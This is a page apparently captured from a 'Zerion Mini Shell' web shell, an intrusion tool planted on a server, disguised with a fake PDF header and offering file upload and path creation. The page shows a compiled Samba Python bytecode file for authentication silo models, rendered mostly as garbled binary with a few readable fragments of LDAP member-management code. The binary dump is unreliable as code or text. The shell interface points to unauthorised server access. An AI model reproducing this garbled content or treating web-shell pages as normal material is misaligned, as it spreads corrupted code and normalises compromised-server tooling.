%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/samba/netcmd/domain/models/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/samba/netcmd/domain/models/__pycache__/auth_silo.cpython-312.pyc

�

�I�d�
��f�ddlmZmZmZmZmZddlmZmZddl	m
Z
mZmZddl
mZGd�de�Zy)	�)�FLAG_MOD_ADD�FLAG_MOD_DELETE�LdbError�Message�MessageElement�)�AddMemberError�RemoveMemberError)�DnField�BooleanField�StringField)�Modelc��eZdZed�Zed�Zed�Zed�Z	ed�Z
edd��Zed	��Z
ed
��Zd�Zd�Zy
)�AuthenticationSilo�descriptionzmsDS-AuthNPolicySiloEnforcedzmsDS-UserAuthNPolicyzmsDS-ServiceAuthNPolicyzmsDS-ComputerAuthNPolicy�msDS-AuthNPolicySiloMembersT)�manyc�H�|j�}|jd�|S)z�Return the base DN for the AuthenticationSilo model.

        :param ldb: Ldb connection
        :return: Dn object of container
        z8CN=AuthN Silos,CN=AuthN Policy Configuration,CN=Services)�get_config_basedn�	add_child)�ldb�base_dns  �F/usr/lib/python3/dist-packages/samba/netcmd/domain/models/auth_silo.py�get_base_dnzAuthenticationSilo.get_base_dn&s)���'�'�)�����F�	H���c��y)NzmsDS-AuthNPolicySilo�rrr�get_object_classz#AuthenticationSilo.get_object_class2s��%rc� �t|j��}|jtt	|j�t
d��	|j
|�|j|dg��y#t$r}td|����d}~wwxYw)z�Add a member to the Authentication Silo.

        Rather than saving the silo object and writing the entire member
        list out again, just add one member only.

        :param ldb: Ldb connection
        :param member: Member to add to silo
        ��dnrzFailed to add silo member: N�members��fields)
rr!�addr�strr�modifyrr	�refresh��selfr�member�message�es     r�
add_memberzAuthenticationSilo.add_member6s����T�W�W�%�����N�3�v�y�y�>�<�#@�B�	C�	D��J�J�w��
	
���S�)���-��	�	D� �#>�q�c�!B�C�C��	D���A1�1	B
�:B�B
c� �t|j��}|jtt	|j�t
d��	|j
|�|j|dg��y#t$r}td|����d}~wwxYw)aRemove a member from the Authentication Silo.

        Rather than saving the silo object and writing the entire member
        list out again, just remove one member only.

        :param ldb: Ldb connection
        :param member: Member to remove from silo
        r rzFailed to remove silo member: Nr"r#)
rr!r%rr&rr'rr
r(r)s     r�
remove_memberz AuthenticationSilo.remove_memberMs����T�W�W�%�����N�3�v�y�y�>�?�#@�B�	C�	J��J�J�w��
	
���S�)���-��	�	J�#�&D�Q�C�$H�I�I��	J�r/N)�__name__�
__module__�__qualname__r
rr�enforcedr�user_policy�service_policy�computer_policyr"�staticmethodrrr.r1rrrrrsu���m�,�K��:�;�H��0�1�K��6�7�N��8�9�O��3�$�?�G��	��	��&��&�.�..rrN)rrrrrr�
exceptionsr	r
r$rrr
�modelrrrrr�<module>r<s(��.Q�P�9�6�6��D.��D.r

Zerion Mini Shell 1.0